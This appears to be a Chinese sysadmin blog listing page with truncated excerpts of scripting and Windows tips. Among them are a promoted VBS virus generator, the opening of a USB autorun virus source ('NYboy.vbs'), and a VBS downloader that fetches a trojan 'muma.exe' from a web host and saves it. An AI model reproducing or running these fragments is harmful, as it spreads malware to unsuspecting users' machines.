当前位置 : 首页 » 运营维护 - 第1页

阅读全文

置顶 批处理FTP上传文件

分类 : 运营维护 | 发布时间 : 2018-04-21 09:06:21 | 浏览 : 1

背景:本机一个文件“A.TXT"在C盘根目录下,需要上传到FTP服务器“192.168.0.1”的“X”目录下面 复制代码 代码如下: @echo off set ftpfile=putfiles.ftp set logfile=putfiles.log echo open 192.168.0.1 > "%ftpfile%" rem 把下面行中的 username和password改为你的用户名和密码 echo user username password >> "%ftpfile%" rem ------------------------------ echo

阅读全文

PowerShell读取文件内容、替换文件内容、读取限定行的例子

分类 : 运营维护 | 发布时间 : 2018-04-21 09:06:21 | 浏览 : 30

我只能说,使用PowerShell来读取文本文件实在是一件太简单的事情了。 Get-Content,获取指定位置的项的内容。 语法:Get-Content [-Path] <文件路径> [-Path]由方括号引起,表示可以写,也可以不写;不写则默认后面是文件路径,写了就指名道姓的说后面是文件路径。 直接运行这样一个命令,PowerShell将会把文件的内容输出到控制台上,如果你是想看看文件的内容,那这样做就Perfect! 但有时候,你想玩点高难度的运作――想把文件翻开来对里面的内容进行修改,那后面你可以用管道来把它传出去,或者直接把它赋值给一个变量。举例如下: 复

阅读全文

PowerShell中获取当前运行脚本路径的方法

分类 : 运营维护 | 发布时间 : 2018-04-21 09:06:21 | 浏览 : 11

在运行脚本的时候,有时候需要通过脚本文件所在位置的相对路径来做一些事,比如执行另一个脚本。以前在CMD时代,可以通过%~dp0来获取脚本所在的文件夹,那在PowerShell中要怎么做呢? 很简单,通过内置的$MyInvocation变量: 复制代码 代码如下: $x = $MyInvocation.MyCommand.Definition 此时$x的值是当前运行中的脚本的绝对路径,再用Split-Path取它的父路径就可以了: 复制代码 代码如下: $x = Split-Path -Parent $MyInvocation.MyCommand.Definition

阅读全文

Powershell 获取特定的网页信息的代码

分类 : 运营维护 | 发布时间 : 2018-04-21 09:06:21 | 浏览 : 4

Powershell可以很轻松的获取网页的信息并读取到对应的内容。如果对象的格式是XML或者Json,那就更容易处理了,一般经常使用invoke-restmethod和invoke-webrequest这两个命令。前者主要是获取Json格式的内容,后者可以获取整个网页的内容。 比如说我希望查询明天悉尼的天气如何。网上随便搜了一个提供API的站点 http://openweathermap.org/current#name 我打算搜索悉尼的,那么对应的格式是 http://api.openweathermap.org/data/2.5/weather?q=sydney

阅读全文

[注册表]文件关联的奇招酷技

分类 : 运营维护 | 发布时间 : 2018-04-21 09:06:21 | 浏览 : 10

   1.这个文件该用什么程序打开?   如果你不知道doc后缀的文件类型用什么程序打开,可以访问http://shell.windows.com/fileassoc/0409/xml/redir.asp?Ext=doc,当然,实际使用时,请将“=”号后面的扩展名换成自己想要查询的扩展名。   2.如何定制相关联的自动运行(Windows XP)   在Windows XP中,有一些文件类型和程序关联得非常紧密,这些文件包括图片、视频或者音频文件等。就拿图片文件来说,每当你选中这些文件时,Windows XP可不管你平常习惯用什么程序(比如ACDSee),它一律会使

阅读全文

shell脚本中执行python脚本并接收其返回值的例子

分类 : 运营维护 | 发布时间 : 2018-04-21 09:06:21 | 浏览 : 10

1.在shell脚本执行python脚本时,需要通过python脚本的返回值来判断后面程序要执行的命令 例:有两个py程序  hello.py 复制代码 代码如下: def main():     print "Hello" if __name__=='__main__':     main() world.py def main():     print "Hello" if __name__=='__main__':     main() shell 脚本 test.sh 复制代码 代码如下: python hello.py python world.py 执行

阅读全文

详谈Ubuntu PowerShell(小白入门必看教程)

分类 : 运营维护 | 发布时间 : 2018-04-21 09:06:21 | 浏览 : 2

早在去年八月份PowerShell就开始开源跨平台了,但是一直没有去尝试,叫做PowerShell Core。 这里打算简单介绍一下如何安装和简单使用,为还不知道PowerShell Core on Ubuntu的同学们提供一点小小的入门帮助,谢谢大家支持~ PowerShell Core是由Microsoft开发的运行在.Net Core上的开源跨平台的任务自动化和配置管理系统。 1.在Ubuntu 16.04上安装PowerShell Core a)导入公共存储库GPG秘钥 curl https://packages.microsoft.com/keys/m

阅读全文

Windows XP中的18个秘密武器

分类 : 运营维护 | 发布时间 : 2018-04-21 09:06:21 | 浏览 : 1

Windows XP里有我们常用到的工具如磁盘清理程序等等,那么它们到底叫什么名字,又躲在硬盘的哪个地方呢?笔者这就把它们挖掘出来,以后大家再用这些工具的时候就不用一步一步地去找地方了,直接点击“开始→运行”,再输入程序名就OK了。   磁盘清理大师──Cleanmgr   用来自动地释放出一部分硬盘空间,并会智能化地进行删除操作。   剪贴板查看器──Clipbrd   Windows XP中的剪贴板查看器程序较原先Windows 9X/Me的旧版本多出了共享功能,通过设置权限允许其他网上用户将该剪贴板装入使用。   控制面板启动器──Control   快速启动

阅读全文

vbs脚本病毒生成器 下载

分类 : 运营维护 | 发布时间 : 2018-04-21 09:06:21 | 浏览 : 4

Vbs脚本病毒生成器 V1.0 版   简 介:   国产的新编的vbs脚本病毒生成器1.0版, 本程序通过采集用户的各项输入、选择,产生符合需要的vbs脚本病毒,属于傻瓜式的vbs病毒制造程序。从此以后,要制造vbs脚本病毒不用再学编程了!(当然还是懂点编程为妙:-))。 需要注意的是,请您不要运行产生的vbs病毒!另外,产生病毒的同时,本程序也产生一个恢复文件,叫做"reset.vbs",万一您不慎运行了病毒,可以运行它解毒!怎麽样?想得够周到吧!  我们可以利用它的功能,来学习vbs的各项操作, 推荐下载试用 本地下载

阅读全文

同一个文件在windows和linux下计算md5哈希不一致的原因及解决方法

分类 : 运营维护 | 发布时间 : 2018-04-21 09:06:21 | 浏览 : 4

最近项目需要,需要对客户传过来的文件进行MD5校验,在实现的过程中前前后后遇到了若干问题,在这里总结一下。 md5的计算采用openssl实现,具体代码网上很多,这里不再赘述。需要注意的问题 1 读取文件内容时,文件打开方式要用二进制方式(rb),因为用户文件有可能是linux格式,如果用文本方式打开,可能会改变原始的内容,造成计算不准。 2 结果检验。windows可以随便下载一个md5计算工具,网上很多,我用的是HashMyFiles。linux下面,md5sum 文件名 即可。 还有一个隐藏得问题需要注意,我们在这里好一阵郁闷。 程序编写完毕,再windows

阅读全文

NYboy.vbs病毒源代码公布,我来模拟熊猫烧香

分类 : 运营维护 | 发布时间 : 2018-04-21 09:06:21 | 浏览 : 1

使用过U盘的朋友都知道u盘病毒是一种Autorun自运行病毒,当双击时触发病毒体,会复制自身到C D E和系统盘system32下等盘符,(生成exe文件和一个Autorun.inf文件),同时修改注册表,当点击C盘等盘符右键时,会有一个auto命令(黑色粗体)或者是两个开始命令,本人学习vbs才15天,我也来模拟下这个autorun病毒 和部分熊猫烧香功能,本人能力有限, 只能模拟这样的病毒了,声明, 本人模拟这个病毒,全是为了学习和技术,切忌不要搞破坏,如果有人用本人代码破坏,后果自负on error resume next dim fso,wsh,myfile

阅读全文

Powershell小技巧之非相同域或信任域也能远程

分类 : 运营维护 | 发布时间 : 2018-04-21 09:06:21 | 浏览 : 2

默认通过Enable-PSRemoting打开PS远程,启动了Kerberos认证。这个方法只适合两台电脑在相同域或信任域内的指定电脑(名字可以带后缀).但它不支持跨域、域外或IP地址。 要让它能正常工作,你需要改变计算机的远程方式。请用管理员权限执行下面命令: 复制代码 代码如下:   PS> Set-Item WSMan:\localhost\Client\TrustedHosts -Value * -Force 如果这个路径非法,你可能首先需要在电脑上打开PS远程(使用“Enable-PSRemoting �CSkipNetworkProfileCheck �

阅读全文

利用批处理BAT生成随机数实现随机网站内容

分类 : 运营维护 | 发布时间 : 2018-04-21 09:06:21 | 浏览 : 2

%RANDOM% 返回 0 到 32767 之间的任意十进制数字。比如说想生成0-100的随机数就是对101取余数就可以了。格式是:set num=%RANDOM%%%100 下面是我的实例代码: 复制代码 代码如下: @echo off set s=10000 set g=10 cls set count=0 :loop set /a num=%random%%%%s%+1 if not defined num%num% ( set num%num%=%num% set /a count1 call explorer.exe http://www.jb51.net

阅读全文

利用certutil.exe实现在批处理(bat)中嵌入exe文件的方法

分类 : 运营维护 | 发布时间 : 2018-04-21 09:06:21 | 浏览 : 5

利用certutil.exe实现在批处理(bat)中嵌入可执行文件或者各种媒体、图片之类二进制文件的简单方法! 实际上利用certutil.exe 把二进制文件(包括各种文件,exe可执行程序,图片,声音,mp3) 经过base64编码为文本,可以实现把这些文件嵌入到批处理代码中。 ###有什么用?: 举个例子,批处理经常需要依赖其它命令行工具实现自动化脚本,如果把这些工具转成文本嵌入到代码中,贴到网上就可以直接把可用的代码发出去了。不需要上传附件。 ###缺点: base64编码后的文本比原文件长1/3,加上如果依赖的文件体积大,转换出来的文本内容会非常长。这个缺

阅读全文

保存和配置系统硬件注册信息―注册表使用全攻略之十二

分类 : 运营维护 | 发布时间 : 2018-04-21 09:06:21 | 浏览 : 6

保存和配置系统硬件注册信息―注册表使用全攻略之十二 电脑用的时间长了,经常要更换一些硬件设备,重复安装驱动程序也就成了家常便饭,这样就致使电脑中残留下很多硬件注册信息,系统启动时就会试图与不存在的设备通讯,从而导致系统速度的下降。如何删除这些注册信息呢?格式化么?太麻烦了吧! 其实Windows有个“硬件配置文件”功能,它是用来告诉电脑在启动时启动哪些硬件设备,第一次安装Windows时,系统就默认创建了一个配置文件“Original Configuration”(在Windows 2000和Windows XP中是Profile1)。我们只要删除它,然后再创建一个

阅读全文

Linux下find和grep常用命令及区别介绍

分类 : 运营维护 | 发布时间 : 2018-04-21 09:06:21 | 浏览 : 5

在使用linux时,经常需要进行文件查找。其中查找的命令主要有find和grep。两个命令是有区别的。   区别:             (1)find命令是根据文件的属性进行查找,如文件名,文件大小,所有者,所属组,是否为空,访问时间,修改时间等。                (2)grep是根据文件的内容进行查找,会对文件的每一行按照给定的模式(patter)进行匹配查找。   一.find命令     基本格式:find  path expression     1.按照文件名查找     (1)find / -name httpd.conf  #在根目录

阅读全文

VBS获取文件MD5值(无组件)

分类 : 运营维护 | 发布时间 : 2018-04-21 09:06:21 | 浏览 : 2

下面这个代码不需要组件一样可以获取MD5值。 复制代码 代码如下: Option Explicit Dim wi Dim file Dim file_size Dim file_attributes Dim file_version Dim file_hash Set wi = CreateObject("WindowsInstaller.Installer") file = "111.exe" file_size = wi.FileSize(file) file_attributes = wi.FileAttributes(file) file_version =

阅读全文

使用Linux shell脚本实现FTP定时执行批量下载指定文件

分类 : 运营维护 | 发布时间 : 2018-04-21 09:06:21 | 浏览 : 1

使用FTP定时批量下载指定文件的shell脚本,具体实例介绍如下所示: 1、目标FTP服务器地址 #FTP服务器地址 ip=10.19.15.23 2、FTP账号和密码 u=账号 p=密码 3、使用mget结合正则表达式下载文件 #获取昨天日期,为后面下载使用 T=`date -d yesterday +%Y%m%d` 4、连接FTP服务器,到指定路径下下载文件 ftp -n <<EOF open $ip user $u $p binary cd /hour #远

阅读全文

VBS下载者(通过vbscript实现文件下载)

分类 : 运营维护 | 发布时间 : 2018-04-21 09:06:21 | 浏览 : 2

一、VBS下载者: 复制代码 代码如下: Set Post = CreateObject("Msxml2.XMLHTTP") Set Shell = CreateObject("Wscript.Shell") Post.Open "GET","http://www.jbzj.com/muma.exe",0 Post.Send() Set aGet = CreateObject("ADODB.Stream") aGet.Mode = 3 aGet.Type = 1 aGet.Open() aGet.Write(Post.responseBody) aGet.SaveT

阅读全文

消除XP操作系统自身的安全隐患

分类 : 运营维护 | 发布时间 : 2018-04-21 09:06:21 | 浏览 : 3

就在您上网冲浪的时候,想到没有?各种潜在的威胁可能会随时到来。对于网络病毒,黑客工具大家是比较重视的,损失相对也少一些,而对于Windows XP为了提高易用性所采用的许多默认设置,却有所忽视,实际上系统默认的设置不仅不能做到安全反而为我们增添了更多的风险。怎样才能将Windows XP的安全隐患降低到最低程度呢?让我们一起来看看吧!    1、简单文件共享   为了让网络上的用户只需点击几下鼠标就可以实现文件共享,Windows XP加入了一种称为“简单文件共享”的功能,但同时也打开了许多NetBIOS漏洞。关闭简单文件共享功能的步骤是:打开“我的电脑”,选择菜单